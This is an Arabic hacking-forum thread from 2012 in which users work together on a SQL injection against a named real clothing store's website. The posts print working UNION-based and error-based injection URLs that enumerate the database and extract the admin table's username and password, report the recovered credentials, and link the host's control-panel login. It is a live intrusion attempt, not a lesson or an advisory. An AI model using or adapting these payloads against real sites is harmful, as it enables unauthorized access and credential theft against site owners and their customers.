مشكلـ في حقن موقع ،،

Dr.Unkn0wn · 07-17-2012, 11:46 PM

السلامــ، عليكمــ،
أنا بدأت بحق موقع ،،
عندي هذه الحقنة :
DBs

كود PHP:

  where table_schema=0x4c55434b5937434c4f5448494e475f434f4d5f31

Tables

كود PHP:

  http://www.lucky7clothing.com/product.php?cat=-1+union+select+1,concat%28table_name%29,3,4,5,6+from+information_schema.tables%20where%20table_schema=0x4c55434b5937434c4f5448494e475f434f4d5f31%20--

أخذت جدول : FBC4_EA_ADMIN_LOGIN
Columns

كود PHP:

  http://www.lucky7clothing.com/product.php?cat=-1+union+select+1,concat%28column_name%29,3,4,5,6+from+information_schema.columns%20where%20table_schema=0x4c55434b5937434c4f5448494e475f434f4d5f31%20and%20table_name=0x464243345f45415f41444d494e5f4c4f47494e--

و لمـا أكمل الحقنــة

كود PHP:

  http://www.lucky7clothing.com/product.php?cat=-1+union+select+1,concat%28USER,0x3a,PASS,0x3a,ID%29,3,4,5,6+from+FBC4_EA_ADMIN_LOGIN--

يقول لـــي الجدول غير موجود بالقاعــدة !!

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC la;gJ td prk l,ru KK

aircrack -ng · 07-18-2012, 12:15 AM

شوف دورتي

كود:

http://www.lucky7clothing.com/product.php?cat=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20concat%280x7e,0x27,cast%28fbc4_ea_admin_login.pass%20as%20char%29,0x27,0x7e%29%20FROM%20%60lucky7clothing_com_1%60.fbc4_ea_admin_login%20LIMIT%200,1%29%20%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

ليوزر والباس
admin
admin

Dr.Unkn0wn · 07-18-2012, 12:28 AM

لمـ ينجع بالدخول ..
https://ns17.domaineplus.net:19638/welcome/site

AMINE-3d · 07-18-2012, 03:10 AM

اظنها الدوبل كيري

الهكره ريومي · 07-18-2012, 12:29 PM

اقتباس

المشاركة الأصلية كتبت بواسطة aircrack -ng

شوف دورتي

كود:

http://www.lucky7clothing.com/product.php?cat=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20concat%280x7e,0x27,cast%28fbc4_ea_admin_login.pass%20as%20char%29,0x27,0x7e%29%20FROM%20%60lucky7clothing_com_1%60.fbc4_ea_admin_login%20LIMIT%200,1%29%20%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

ليوزر والباس
admin
admin

ما شاء الله مبدع

مشكلـ في حقن موقع ،،

جـــ'ابات العناكــ'ب